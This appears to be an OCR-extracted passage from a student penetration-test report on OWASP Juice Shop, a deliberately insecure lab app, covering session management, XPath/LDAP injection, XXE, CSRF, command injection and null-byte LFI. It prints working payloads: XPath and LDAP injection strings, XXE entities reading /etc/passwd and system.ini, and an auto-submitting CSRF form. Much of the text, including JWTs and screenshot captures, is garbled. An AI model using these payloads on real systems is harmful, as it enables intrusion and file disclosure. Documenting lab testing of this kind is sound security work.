eyJ0eXAi01i JKV1QiLCIhbGci0iISUzI1NL IS, ey JzdGFOd XMi 0L JzdWN] Z¥NzTiwi ZGFOYSIGey JpZCIEMSwidXNL cmShbWUiOiT1iLCI1bWFpbCI6ImFk bWl uQGpLawNL LXNoLnSw:
mQ3MzIIMDUxNmYwh] 1k Z3 E4Y] UWMCISInIvbGU101IhZGlpbiIsImRLbHVAZVRva2Vulj o1 liwibGFzdExvZ2l uSKAL 01 IxOTIuMTYAL] AuMz il ClwemSnaixl SWLhZ2U101 Jhe 3l
zL2RL ZmFLbHRBZG1pbiSwbmcil CI0b3RWUZV] cmVOIj oiIiwiaXNEY 3RpdmUi0OnRy dWls ImNy ZWFOZWREd CIEI ] IwM) Mt MT At M] YgMDgENT I6MDMUNDY LI CswMDowMCIsIn VwZGFO:;
2 TUMTEST CswMDowMCTs ImRl bGYOZWREd CTEbn VsbHOSIml hd CTEMTYS0DMy MTI3NS0. cNj SvCdipgfZsFEEM] LYNemj K3NATTt OeMRHxnj nTuAfBt 30a] OPEZC8Y OK1 681WphulaM
syobsmRFYDG2TsuSPURGF-I5XUez Focaj 4- NIcEj _WBt_NqBZEGpJ1IgWGHg04] eBCFY

"notyummmy2",
admin@juice-sh. op"

(Luuvumi)

Monkeys love it the most.

1.99x

ifr:

admin@juice-sh.op

yummy

admin@juice-sh.op

notyummmy?2

Write a review

it

ifr
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6. Session Management Testing

6.1 Testing for Session Management Schema

Sessions are managed by JWT token that is set as cookie which is returned by server after
validating information passed by user. Token is structured as bellow:

“eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.ey)zdGFOdXMiOilzdWNjZXNzliwiZGFOYSI6ey)
pZClI6MjlsInVzZXJuYW 1lljoiliwiZW1haWwiOiJOZXNOQHRIc3QuY29tliwicGFzc3dvemQiOil
WNWE2NzFjNjZhZWZIYTEyNGNjMDhiNzZIYTZkMzBiYilsInJvbGUIiOiJjdXNOb21lcilsimRIb
HV4ZVRva2VuljoiliwibGFzdExvZ2IuSXAiOilwLjAuMC4wliwicHJvZmIlsZUItYWdIljoiL2Fzc2
VOcy9wdWlsaWMvaW1hZ2VzL3VwbGIhZHMvZGVmYXVsdC5zdmciLCJOb3RwU2VjcmV
OljoiliwiaXNBY3RpdmUiOnRydWUsImNyZWFOZWRBdACI6ljlwMjMtMTAtMjkgMjE6MTU
6MTkuNjQwICswMDowMClsInVwZGFOZWRBACI6IljlwMjMtMTAtMjkgMjEEMTU6MTku
NjQwICswMDowMClIsImRIbGVOZWRBdCI6bnVsbHOsImIhdCIEMTY50DYxNDE5SNXO.TFD
GbilYxK7Uu0isc659ZnY3cuwlCjf06S0KqGDot6W86SDRH1dFTPalxPIlvvdGHXSIMG87G2m
kjoDwf30tJobKHOTNWxf5CZZ3KABSDRK996I4bAbodgEL_Ee0_RxpFk9jTdtVYEdxsaCMbk
AHBLodU36uf67AP-GMCj_ihS-8"

Using JWT Debugger we can see what information token contains:

Header Payload

{ {
"typ": " "status”: "success",
"alg": " "data": {
} "id": 22,
"username": ""
"email": "test@test.com",
"password": "05a671c66aefealZz4cc@8b76eabd30bb",
"role": "customer",
"deluxeToken": "",
"lastLoginIp": "0.0.9.0",
"profileIlmage”: "/assets/public/images/uploads/dd
"totpSecret": "",
"isActive": true,
"createdAt": "2023-10-29 21:15:19.640 +00:00",
"updatedAt"”: "2023-10-29 21:15:19.640 +00:00",
"deletedAt": null
}!
"iat": 1698614195
t

Cache-Control is set to private and max-age is set to 604800 which is good practice because
that means session token is revalidated with each request to the server. Data in tokens such
as last login Ip should be encrypted

Session id is also sent as URL parameter in some requests which is dangerous because it
means it is stored in browser history for example.

GET http://192.168.64.14:3000/socket.io/?7EIO=4&transport=polling&t=0jzP3z0&sid=TLhtVcMCceW-yJdFAABY HTTP/1.1
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6.2 Testing for Cookies Attributes

Application does not set by default any “secure” attributes for cookies (screenshot below):

Secure Attribute: Verify if the application sets the 'Secure' attribute on sensitive
cookies, limiting their transmission to secure (HTTPS) channels. Tools like Burp Suite
or browser developer tools can help inspect the Set-Cookie headers.

HttpOnly Attribute: Ensure that sensitive cookies are set with the 'HttpOnly' attribute,
preventing client-side JavaScript from accessing them. You can inspect this in the
browser's developer tools or using proxy tools like Burp Suite.

SameSite Attribute: Check if cookies that should not be sent in cross-origin requests
are set with the 'SameSite' attribute (e.g., 'Strict' or 'Lax') to mitigate CSRF (Cross Site

Request Forgery) attacks.

9 e

6.3

Burp Suite Community Edition v2023.11.1.3 - Temporary Project

Burp Project Intruder Repeater View Help
Dashboard ~ Target | Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Llogger  Organizer  Extensions  Leam {&) Settings
I HTTP history WebSockets history {&} Proxy settings
W Filter settings: Hiding CSS, image and general binary content. [©)
# Host Method  URL Params _ Edited  Statuscode  Length  MIMEtype  Extension  Title Motes TSR
== = o
Request Respanseu Inspector s @ X|g
v B n = v B O = =
Raw Hex ) _Faw_ v e Requestattributes 2 v g
1 GET /rest/user/whoani HTTP/1.1 1 HTTR/1.1 304 Mot B
2 Host: localhost :3008 Modified =
= sec-ch-ua: "Not_A Brand*;v="8", “"Chromium";v="120" 2 Access-Control-Al | Requestcookies 4 v |8
4 Accept: applicatien/json, text/plain, */* Tow-Origin: *
S sec-ch-ua-mobile: 70 5 X-Content -Type-Op o
& Authorization: Bearer tions: nosniff Requestheaders L
&y J02XAL01JKVL 01 LCIhbGE1 06 JSUZ TN IS, ey JzdGROAXMi 01 JZdWh] ZXNZTiwi ZGFOYSIGey JpZCIEGHSwid XNl cmShbWLAOiTALCIIBWFD | 4 X-Frame-Options: E]
bCIEIMFKEWL uQGP1aWNL LXNoLSwTiwicGFzc 3dvenQi0i IwHT kyMDIZYTdi YnQ3Mz T IHDUXNMYwN] 1k 21 E4Y] UwMCIS InJvbGUi01IhZGlph SAMEORIGIN Response headers g8 v
1IsInRLbHV4ZVRvaZVuI] 0iliwibGrzdExyZ2l uSKAi 0iTiLClwemSnanx] SW1hZ2U101 Jhe3N dHMycHVibEL JLALEYWdlcySlcGryYWRzL2 | 5 Feature-Policy: £
AL ZnFLbHREZG1pb1 Swbnci LCIOb3RwU2V] cnVOI ] 0111wiaXNBY3RpdnLii OnRy dWUSTnhy ZWFOZWRE CI6T] TwMj Gt MDEL HDCgMTHENTYSHDK payment 'self’ 7
UMTUz LCswMDowMCT s InVwZGFOZWRBACIE1 ] TwM) Gt MDEE MDC g MTMENTY BMDkUMT Uz ICswMDowMCI s InRL bGVOZWRBACI6bn VsbHOS Inl hdCI6 | 6 X-Recruiting: -
MTewNDY2Nj 020H0, xOLbcdu] L1 00y fnAifjNvbtz] VBy1A6_2Y8x9Cu44k08Ywp_sAnpkWlw_eYEyIBNGBOER2- LG T6Z9F-HsoZPEnRYRX /#/10bs
hTCot ITEhkYSWIJesq9r_kg7DzKZL2E6Lth_01pACyTcCOHNewyLhYFrSHB-Bqukadj T1-qSqRal dE0 7 ETag:
7 User-Agent: Mozilla/S.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/S537.36 (KHTML, like Gecko) W/"7d-GuyDAsnsTTE
Chrome/120.0.6099. 71 Safari/S37.36 BUVGZZEhoaGfranA"
8 sec-ch-ua-platform: “"Linux" & Date: Sun, 07 Jan
9 Sec-Fetch-Site: same-origin 2024 1K;07:51
10 Sec-Fetch-Mode: cors
11 Sec-Fetch-Dest: empty 9 Connection: close
12 Referer: http://localhost;3000/ 10
13 Accept-Encoding: gzip, deflate. br 11
14 Accept-Language: en-US,en;q=0.9
15 Cookie: language=en; welcomebanner_status=dismiss; ceckieconsent status=dismiss; token=
ey J0eXAL01IKVL01LCIhbGe1 01 15Uz TING I8, ey JzdGROAXMi 01 IzdWh] ZXNz 1wl ZGFOYSIGey JpZCT6HSwid XNl cmShbWLL 01 TiLCILbWFp
bCTEImFkbWLuQGP1aWL L XNoLnSwTiwieGFze 3dveni 01 TwHTkyMDTzYTd1YnQ3MzT 1IHDUxNmYwN) 1k Zj E4Y] IWMCTs Tn JvbGLL01 IhZGlph
1IsIMRLbHVAZVRYa2VUTjoiTiwibGFzdExvZ21uSKAI 01 Til CIwemOmawx1 SW1hZ2U1 01 Jhe3NL dHMy cHVib Gl L21 tYWd1l cy 91 cGrvYWRzL 2
AL ZnFLbHREZG1pbi Swhnci LCIOb3RWU2Y] enVOT ] 011iwiaXNBY3Rp L OnRy dWUSTnMNy ZWFOZWRE CI6T] Iwii Gt MDEL HDCMTMENTYSHDK
UMTUz LCSWMDoWMCTS InVWwZGFOZWRBACIE1 ] IwMi @t MDEE MDC gMTMENTY GMDKUHT Uz ICSwMDowMCI s InRL b GVOZWRBACTI6bn VsbHOS Il hdCI6
MTCwNDYZNj 020H0, xOLbcdu L1FQ0y FnAi i Nvbtz] VByiAS_2v8x9Cu44k00Yvp_sanpkWlwh_sYEy IBNGBOERZ- LG_f625F - HsoZPEnRYRY
hTCot ITEhkYSWIJcsqar_ka70zKZL2E6Lth_01pACyIcCOHMewyLhYFrSHB-Bqukaj T1-gSqRal dEO
16 If-None-Match: W/"7d-GvyDAsnsTTBBUVGZZBhogGrama"
17 Connection: close
18
19

Testing for Session Fixation

Session Fixation is an attack where an attacker sets a user's session ID to a known

value, then lures the user to authenticate using that session ID. Later, the attacker can use
the known session ID to gain unauthorized access to the victim's session. So, to replicate it
we can open application tab under dev tools and copy session token if we paste it to other
browser and refresh page, we are successfully logged in into someone else account. What is
important is the old token works even if the original user logs out!
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Burp Suite Community Edition v2023.11.1.3 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard ~ Target  Prox intruder  Repeater  Collaborater  Sequencer  Decoder  Comparer  Logger  Organizer  Bxtensions  Leamn {8} Settings

Intercept HTTPhistory  WebSockets history {8 Proxysettings
WV Filter settings: Hiding CSS, image and general binary content ©)]

® Host Method URL Params. Edited Status code Lenqth MIME type Extension Title Notes TLS 1P

== X

Request Response Inspector 2

in n = =

! _Raw | Hex e _Raw v ) Request attributes 2 v @

1 GET /rest/user/whoami HTTP/1.1 1 HTTP/1.1 304 Not b

2 Host: Localhost:3000 Modified a
sec-ch-ua: "Not_A Brand";v="8", "Chromium"; 2 Access-Comtrol-al | Requestcookies 4 v 9

4 Accept: application/json, text/plain, */* low-Origin: *

5 sec-ch-ua-mobile: 70 3 X-Content-Type-0Op -

5 Authorization: Bearer tions: nosniff beg==ts e
ey0eXA10 JKV1QiLCIhbGCi01 JSUZIINGI9, ey JzdGFOMXML 04 JzdWNi ZXNz TiwiZGFOYSI6ey JpZCIGMSwid XN cnShbWUL0iTiLCILbWFp | 4 X-Frame-Options: B
bCIEINFKEWL UQGP1 WL LXNoLMSWI iwi c GFze 3dvemQi 01 TwMTkyMDIZYTdi YmQ3Mz 11 HDUXNIYWN] 1k 23 E4Y] UwMCTS InJvbGLE 01 JhZGlph SAMEORIGIN Response headers 8 v
1ISINRLbHVAZVRYa2VUL] 01 LiwibGFzdExy Z21 USKAL O TiLCIwemInaxl SW1hZ2Ui 03 JheSNL dHMyeHVibGLiLZLt YWel cySlcGrvYWRZLZ | 5 Feature-Policy: Z
AL ZnF1bHREZGLpbi Swhmeil.CIOb3RWUZV] cnVOI] oiTiwiaXNEYSRo dn Lt OnRydWUs Inhy ZWFOZWRE CI6L Il Ot MDE MDCgMTMENT YEMDk payment ‘self' 7
UMTUzICswHDoWHCI s Ln W ZGFOZWREACIET] Twtj @t MDEE MDCgMTMENTY GMDk uMTUz LCswHDowHCIs InRl bGVOANREACIEbnVsbHOSINLhdCIE | & X-Recruiting: "
MTCWNDYzZNj 0208 . %0Lbc 4uj L1FQ0y fdifi Nvbtz] VBy1A6_2YExSCu4dkO0Yvp_s4npkWLwh_sYEyIBNGBOEN2-LG_f629F-HsoZPERRVRY /#170bs
hTCot JTBhkYSH]Jcsq9r_kg7DzKZLZEGLth 0ipACyIcCSHiewyLhYFrSHE- Bqukaj TL-qSqRal dEe 7 ETag:

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTHL, like Gecko) W/ 7d-GuyDASnsTTE
Chrome/120.0.6099,71 Safari/537.36 BUVQZZ6hoqGFranA”

8 sec-ch-ua-platform: "Linux" & Date: Sun. 07 Jan

9 Sec-Fetch-Site: same-origin 2024 1R;07:51

10 Sec-Fetch-Mode: cors o

11 Sec-Fetch-Dest: empty 9 Connection: close

12 Referer: http://localhost 3000/ 10

13 Accept-Encoding: gzip, deflate, br 11

14 Accept-Language: en-US,en;g=0.9

15 Cookie: language=en: welcomebanner status=dismiss; cookieconsent status=dismiss; token=
ey J0eXA1 01 IKV10iLCIRbGe101 I8UzT 1N 39, ey JzdGFOAXMI 01 JzdWNj ZXNz Tiwi ZGFOYST Gey IpZCTEMSwidXNL cnShbUL 01 T1LCILbHFp
bCIEInFkBILUOGR1aWNL LXNoLnSwT iwicGFze3dvenQioi TwkTkyHDIZYTdiVnQ3Hz T1HDUX NnYwhy 1k Z3 E4Y] UWMCTSIn JvbGUi 01 JhZG1pb
1IsImRLbHVAZVRva2VuT] o1 IiwibGFzdExvZ21 uSXAL0iTil ClwemSmanwx1 SW1hZ2U10i Jhe3NL dHMy cHVibGL i LZ1t Ywdl cy91lcGrvYWRzL2
RLZmF1BHRBZG1pbiSwhmeil CI0b3RWUZV] cmVOT j 01T iwiaXNBY3RpdmUL OnRy dWUs ImNy ZWFOZWRBd CI6T] TwMj Ot MDEt MDEgMTMENTYEMDk:

UMTUzICswMDowMCISInVWwZGFOZWRBACTET] TwMj Ot MDEt MDEgMTMENTY 6MDK UMTUz I CswMDowMCT s TmRl bGVOZWRBACIEbnVsbHOSIml hdCI6
MTEWNDYZNj Q20HO. XOLbc4uj LLFQOyFnaifi Nvbt 2] VBy 1A6_2YExSCu44k00YvR_s4npkWlwi_eYEy [EWQ80ER2- LG_f6Z9F- Hs0ZPENRVRX
hTCot JTehk YS1Jcsa9r_ko7DzKzL 2E61th_Oip4CyTIcCoHwewyLhYFrSHE- Baukai TL-asaRaldEe

16 If-None-Match: W/"7d-GyyDAsnsTTEBUVAZZEhoaGF rama”

17 Connection: close

18

19

@ @ ¢][3] [search 2| ohignlights ({6} |¢|[>]  ohighlight The

Session token is exposed as we can see in burp suite request are going over http, so all
the data is not encrypted.
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6.5 Testing for Cross Site Request Forgery

Cross-Site Request Forgery (CSRF) is a type of cyber-attack where an attacker tricks a
user into performing unintended actions on a website they are authenticated on. This is
achieved by exploiting the trust that a website has in a user's browser.

This problem is present on Juice Shop website using simple html form which looks like this:
I ) A 00| @& @

cichowlasp@kali: ~/Desktop

File Actions Edit View Help
& > C OFile /homefcichowlasp/Desktopfind... B> ¥r % F O H GNU nano 7.2 index.html

Submit request history.p A |

We can send request to the server and receive server respond with code succeeded
and list of all reviews

AN W e 2 3 ¢ @ 2 0w0|la o

Juice Shop
File Actions Edit View Help

& C @ localhost > * ¢ H GNU nano 7.2 index.html

history.pushState('', "', '/")

6.6 Testing for Logout Functionality

The logout button is easily accessible from the profile drop down menu. The only problem is
the top bar is not fixed at the top, so it hides when user scrolls down the page. As described
Testing for Session Fixation (6.3) the session is not terminated after user logout so attacker
can steal session id and use someone else account even after the logout.

6.7 Testing Session Timeout

By default, the JWT token is valid for 24 hours, and user must login again to access the
website. We can see this in Expires/Max Age column on screenshot below.
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6.8 Testing for Session Puzzling

It is possible to manipulate requests using burp suite. As described before by editing
registration post we can do things like:

e Creating empty accounts in database
e Create user with admin privileges by adding “role:admin” to the request
e Skip restrictions like min and max characters in forms

And there are many more. Some of them are descripted in:

e 3.3 Test Account Provisioning Process
e 3.4 Testing for Accounts Enumerations and Guessable User Accounts
e 3.2 Test User Registration Process

7. LDAP (Lightweight Directory Access Protocol) Injection, XML
Injection and XPath Injection

7.1 Introduction

During our penetration testing, we focused on assessing security through various
Injection attacks, specifically targeting LDAP, XML, and XPath vulnerabilities within the tested
application. The goal was to identify potential threats to user data security and
confidentiality and assess control over resource access in the Juice Shop application. Our
XPath Injection testing commenced with the execution of a basic attack outlined in the Web
Security Testing Guide (WSTG), attempting unauthorized account access without proper
authorization. XPath, designed for working with XML documents, allowed us to inject syntax
into the application's requests, enabling controlled XPath queries. The exploitation of this
vulnerability could potentially bypass authentication mechanisms, granting an attacker
unauthorized access to information. As web applications extensively use databases, and XML
databases utilize XPath as a standardized query language, the attack's implementation
independence enables replication across different services seamlessly.

7.2 XML Injection

The attack scenario involves substituting a specific formula for login and password
during a login attempt, leveraging the XML file's structure to exploit vulnerabilities in the
application's handling of XPath queries. An example XML file that we will attack is built as
follows:
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<2xml version="1.8" encoding="IS0-8859-1"2>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<usernale>5tefan¢</usernue>
<password>wls3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>

It contains information about the user's name, password and account type using the
appropriate formula we can try to refer to the users and their information contained in the
file. The first step is to try to use the ' character which will allow us to get a syntax error in
the query and check whether we get an error.

OWASP Juice Shop

admin@juice-sh.op

Orders & Payment v
Zapomr
Privacy & Security v
3] zaloguj sie
Wyloguj sie

[ Zapamietaj mnie

This is how we can refer to the database and enter the appropriate credentials that
allow us to gain access to the administrator's data. And then we have permissions and access
to all administrator actions.

The attack concisely looks as below. The standard syntax allows you to send such a
request by which verification takes place and access is granted or denied:

string(//user[username/text()="admin@juice-sh.op' and password/text()="password']/account/text())
However, we, using XPath's capabilities, will try to convert this query to one like this:

string(//user[username/text()=""or 17=17 -' and password/text()=""or 17=17 -']/account/text())
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Eventually we will call an error and refer to the XML that will allow us to log in

according to the data inside. This attack can, of course, be performed in other ways as well,
such as using the following method:

Login

E-mail *

abcd' or 1=1 or'a'='a

5] zaloguj sie

[ Zapamietaj mnie

In this case, we issue a command that allows us to move some of the information
given in the username to the password question making it completely unimportant for the
application and skipping this part of the verification. So, our query looks like this:

FindUserXPath:  //Employee[UserName/text()='abcd' or 1=1 or ‘a'='a’ And
Password/text()="abcd']

Thus, the computer receives the following command:
//Employee[(UserName/text()="abcd' or 1=1) or ('a'='a' And Password/text()="'abcd’)]

7.3 LDAP Injection

LDAP Injection is a type of attack that exploits vulnerabilities in applications using the
Lightweight Directory Access Protocol (LDAP). Attackers leverage improper input, such as
strings or queries, to introduce unauthorized changes or gain unauthorized access to data
stored in LDAP directories. This attack involves manipulating LDAP queries by injecting
specially crafted commands, leading to potentially harmful operations on the LDAP server.
For instance, a malicious user could inject code into an LDAP query, triggering unauthorized
operations like reading, modifying, or deleting data in the LDAP directory. To safeguard
against LDAP Injection attacks, it is crucial to employ proper input validation and sanitization
methods, avoiding the direct concatenation of user-supplied data with LDAP queries. Regular
security audits and awareness among developers and system administrators are key to
identifying and securing against potential threats associated with LDAP Injection.
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« C @ QO A localhost

KaliLinux @ Kali Tools # KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

% Security Knowledge Framework

LIVE DEMONSTRATION!

LDAP Injection

cure login providing a specie
word pair. Hint: t

d in the cor

e !

Result: Wrong identity provided.

Package intercepted in burp while trying to log in:

%

hatpalfocalbost: 5000 GET  Muwicomis 00 404 Error
3 hipoocalhost 5000 POST  flagn ) 00

127008 CEII0EIN. 8080
127003 CELENNN. 5080

s < SKF Labs-

08 WML SKF Labs
==

Request Respanse a

5! continuecodes

*) (&

*))%00 7.3.1 Potential payloads:

) (cn=))\xee

*()|%26" Using payloads: *)(& and * make us skip the need to log in

*Ol& and manage to us to get into the administrator account.
* 'l=*
*E : E::;ectgass=*)) The above payloads put both username and password.
*) (uid=*)) (] (uid=*

*/*

>

/

// -

Ik You are now admin user!
|

admin*

admin*) ((|userpassword=*)

admin*) (( |userPassword=*)

x' or name()='username' or '
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7.3.2 Blind exploitation:

of the LDAP server. Only the admin account is

available. admin

&
*)(password=*

= re now admin user!

As you can see, after entering such values, we were able to log in. Username: admin is an
existing user on the network, which we can use. In the next part, we tried to guess the admin

password. The first letter is "'s".

available. admin

available. admin ‘ s*
super$340\* Login :
’ You are now admin user!

You are now admin user!

The password has not been cracked, but a large part of the password has been discovered,
the discovery of the rest would be a matter of time. It was possible to guess the first 10
characters of the admin user's password. These were blind attempts, however in a brief
period of time, we managed to guess the first 10 characters of the admin account password,
which shows how important it is for the application to be resistant to Idap-injection attacks.

7.4 XML Injection

XML Injection to a type of attack that exploits improper or insecure processing of XML
data in applications. Attackers can inject malicious XML code into input data, leading to
unexpected application behavior. By injecting specially crafted XML data, attackers can alter
the application's functionality, induce errors in data processing, or gain access to confidential
information stored in XML files. For example, an attacker could inject code containing
additional XML tags or modify the data structure, leading to parsing errors or operations on
the data. To protect against XML Injection attacks, it is crucial to implement input validation
and sanitization mechanisms to ensure that XML data is correct and free from potentially
harmful code. Limiting access permissions to XML files and ensuring regular updates to
systems and libraries supporting XML data processing are also important to patch potential
security vulnerabilities. Regular security testing of applications and developer awareness are
key for identifying and mitigating vulnerabilities associated with XML Injection attacks.
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In our tests, we tried to find the contents of the /etc/passwd files and the contents of

the file system.ini. To test the XML injection vulnerability, | decided to use the following XML
code, which is available on the OWASP website:

Disclosing /etc/passwd or other targeted files

<?xml version="1.0" encoding="IS0-8859-1"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Created file with content and then we placed it in the field where you can place files.

~

xxe.xml
<?xml version="1.0" encoding="IS0-8859-1"?7>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe; </ foo>

Complaint

Invoice: xxe.xml

We performed an analogy with another XML code to check the contents of the file
system.ini:

~

xxe2.xml
<?xml version="1.0"7>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >

<!ENTITY xxe SYSTEM "file:///c:/Windows/system.ini" >]><xxe>&xxe;</xxe>
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Request

We received error: “Error: B2B customer complaints via file upload have been deprecated
for security reasons (xxe2.xml).”

XML Injection is a threat because of the attacker's ability to manipulate XML data,
which leads to various dangerous scenarios. First, an attacker can inject malicious code
fragments into the XML structure, resulting in disruption of the correct processing of the
data by applications. Second, this attack can enable the attacker to perform unauthorized
operations or gain access to sensitive information stored in the XML files. In addition, XML
Injection can alter the structure of an XML document, which in turn can lead to errors in data
analysis or trigger unpredictable behavior of the applications. An attacker can also use this
vulnerability to expose data, such as authentication information that should remain
confidential. In addition, XML Injection can be used to block or disrupt the operation of an
application, making it unavailable for users. Since XML is widely used in systems to exchange
data, an attack on this protocol can significantly disrupt the operation of applications and
lead to serious security and data integrity consequences.

8. CSRF, LFI (Local File Inclusion) and Command Injection

8.1 CSRF

Cross-Site Request Forgery (CSRF) exploits the trust web servers place in requests from
users' browsers. The attacker utilizes the user's authenticated session to execute undesired
actions on their behalf, taking advantage of the server's trust in the user's browser. CSRF
attacks can result in changes to the user's account status, including unauthorized
transactions, password alterations, or data deletion, leveraging session authentication. The
vulnerability arises when a website fails to authenticate requests from the browser, allowing
an attacker to impersonate a user. To mitigate CSRF attacks, websites often employ
protective measures like CSRF tokens—unique identifiers appended to forms or HTTP
requests, verified by the server. The proper implementation of security mechanisms such as
CSRF tokens is crucial for safeguarding user data and preventing malicious actions
orchestrated by attackers.

On the juice shop machine, we were able to find a vulnerability in panel user 0 at the
point of changing the login: To exploit the vulnerability, we set the login to "test."
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User Profile

Username:

test
File Upload:

No file selected. Set Username

Upload Picture

Q Mtpfocalhont: 3000 POST Ipeclile v 2 ny N 000 Sckearey OeXAOL. 032N 5080
] Merpfocalbhest 3000 GEY prolile 200 on HM OWASP Jice Shop o0 2603 2N 8080
= =
Response
ety Raw  Me  Reede CER

-Encoding
t/htal; charseteutt-s
&

2 Cat 02 Nov 2023 18:26:03 T

Connection: close

Found. Redirecting to <u hrefe*/profilets
prefile

In the example, you can see that a http POST request is sent to change the login
parameter with the username value set to "test".

To explore, we decided to create a simple http form:

<form action="http://localhost:3000/profile" method="POST">
<input name="username" value="Hacked"/>
<input type="submit"/>

</form>

<script>document.forms[0].submit();</script>

If the user presses on the content that redirects him to a malicious site with the above
form, the login value from "test" will be changed to "Hacked". The effect of the exploit is to
change the login on the logged-in account:

User Profile

\Hacked
Username:

Hacked
File Upload:

No file selected. Set Username

Upload Picture
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It is worth mentioning that in order for the vulnerability to be exploited, it was first

necessary to disable the "SameSite cookies" value in the browser. Otherwise, our requests
would be rejected.

One of the main consequences of a CSRF attack is the potential to manipulate user data
or perform actions on their behalf, such as changing passwords, conducting financial
transactions, or modifying account settings. The attacker impersonates an authorized user,
exploiting the server's unawareness of the authenticity of requests coming from the browser.
Protection against CSRF is crucial for safeguarding personal and confidential user
information. Websites can implement various defense mechanisms, such as CSRF tokens,
which are additional data verifying the authenticity of HTTP requests. These tokens are
unique identifiers added to forms or HTTP requests, thereby preventing unauthorized
actions. Ensuring effective security measures, including CSRF tokens and proper request
verification methods, is immensely important for preventing CSRF attacks and protecting
user privacy and data integrity in the online environment.

8.2 Command Injection

Command Injection is a technique utilized through a web interface, allowing the
execution of system commands on a server. The user provides system commands through
the web interface, enabling their execution. Any web interface that is not adequately
sanitized may be vulnerable to this type of attack. With the ability to execute system
commands, a user can upload malicious programs or even obtain passwords. Preventing
Command Injection is possible when security is a priority during the design and development
of applications.

On the Juice shop homepage, we can start trying to add commands to the link that
lead to accessing various common vulnerabilities.

. OWASP Juice Shop

Wszystkie produkty

Apple Juice
(1000ml)

1.99x

Apple Pomace
0.89x

Dodaj do koszyka Dodaj do koszyka
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After trying several different commands such as smuggling /bin/Is| at the end of the
link or changing the address after /doc=*** managed to get a satisfactory result using /ftp in

place of /# manages to get to the folder with the listed contents of the ftp folder. the
command allows us to view the contents of the folder for FTP uploads.

O & localhos p

# OWASP Juice Shop Kali Linux #& KaliTools ¢ KaliDocs M KaliForums e Kali NetHunter Exploit-DB

~ | ftp
| quarantine acquisitions.md announcement_encrypted.md
coupons_2013.md.bak eastere.gg encrypt.pyc
incident-support. kdbx legal.md package.json.bak

suspicious_errors.ymil

As you can see, in addition to smuggling the command, we managed to get to a place
where we will be able to continue to try to perform the next steps bringing us closer to LFI,
unauthorized access to files on the server.

8.3 LFI

The File Inclusion vulnerability allows an attacker to attach a file, usually using
"dynamic file attachment" mechanisms implemented in the target application. This
vulnerability occurs because of using user-supplied data without proper validation. This can
lead to the display of file contents, but depending on the severity of the problem, it can also
lead to:

e Execution of code on the web server

e Execution of client-side code, such as JavaScript, which can lead to other attacks,
e Such as cross-site scripting (XSS) attacks

e Blocking the service (DoS)

e Disclosure of confidential information

Local File Inclusion (LFI) is a security vulnerability involving the attachment of files that
already exist locally on the server, exploiting vulnerable file attachment routines
implemented in the application. This vulnerability arises when a website accepts input
specifying the path to the file for attachment, and this input is not adequately sanitized,
permitting the injection of directory navigation characters like dot-dot-slash. While many
instances involve insecure PHP scripts, it is essential to note that this vulnerability is also
prevalent in other technologies such as JSP, ASP, and others.
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We can find files available on the FTP server ready to be downloaded. However, some of
them are still not downloadable, and upon clicking, we encounter errors, as is the case when

trying to open package.json.bak. This file is a backup, as evidenced by the fact that it cannot
be downloaded.

& C @ O A localhos ckage.json.bak w

# OWASP Juice Shop KaliLinux #& KaliTools « KaliDocs % KaliForums e Kali NetHunter Exploit-DB

OWASP Juice Shop
(Express N4.17.1)

403 Error: Only .md and .pdf files are allowed!

at verify (fjuice-shop/build/routesffileServer.js:55:18)

at fjuice-shop/build/routes/ileServer.js:39:13

at Layer.handle [as handle_request] {fjuice-shop/node_modules/express/lib/router/layer s:95:5)
at trim_prefix (fjuice-shop/node_modules/expressiib/routerfindex js:328:13)

at fjuice-shop/mode_modulesfexpress/lib/router/index.js:286:9

at param (fjuice-shop/node_modules/express/lib/routerfindex.js:365:14)

at param (fjuice-shop/node_modules/express/lib/routerfindex.js:376:14)

at Function.process_params {/juice-shop/node_modules/express/iib/routerfindex.js:421:3)
at next (fjuice-shop/node_modules/express/lib/router/index.js:280:10)

at fjuice-shop/node_modules/serve-index/index.js:145:39

at FSReqgCallback.oncomplete (node:fs:211:5)

In this case, to gain access to this file, we attempted to use the NULL Byte Technique:

The null byte technique in Local File Inclusion (LFI) involves leveraging the null byte
character (often represented as "\x00" or "\0") to manipulate file paths. This technique is
employed when an application mishandles user-supplied input. In the case of LFI, the
attacker can inject a null byte character into the file path, leading to manipulation of how the
application interprets this path. The null byte character signifies the end of a character string
in many programming languages, causing the application to interpret the path as shorter
than it is. Consequently, this can enable the attacker to access files for which they would not
normally have permissions. As a result, the null byte technique in LFI can be exploited to
bypass security mechanisms and gain access to sensitive files on the server, posing a
significant threat to the security of the web application.

And, as demonstrated, we successfully use this method to bypass the 403 error and
download the file.

+» Error: Only .md and .pdf files are allowed! — Mozilla Firefox

# | Error: Only.md and .pdffile: X &% New Tab

Q, localhost

# OWASP Juice Shop Kali Linux # KaliTo
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"name": "juice-shop”,

"version": "6.2.0-SNAPSHOT",

"description”: "An intentionmally insecure JavaScript Web Application”,

"homepage": "http://owasp-julce.shop”,

"author”: "Bjorn Kimminich <bjoern.kimminichiowasp.org> (https://kimminich.de)",

"contributors”: [

"Bjorn Kimminich",
"Jannik Hollenbach",
"Aashish683",
"greenkeeper[bot]”,
"MarcRler",
"agrawalarpitils”,
"Scar26",
"CaptainFreak",
"Supratik Das",
"JuiceShopBot",
"the-pro",

"Ziyang Li",
"aaryanle",
"m4llc3”,

"Timo Pagel”,

1,

"private”: true,

"keywords": [

"web security”,
"web application security”,
"webappsec”,
"owasp",
"pentest”,
"pentesting”,
"security",
"wvulnerable"”,
"wulnerability”,
"broken”,
"bodgeit"

1,

"dependencies": {
"body-parser”: "~1.18",
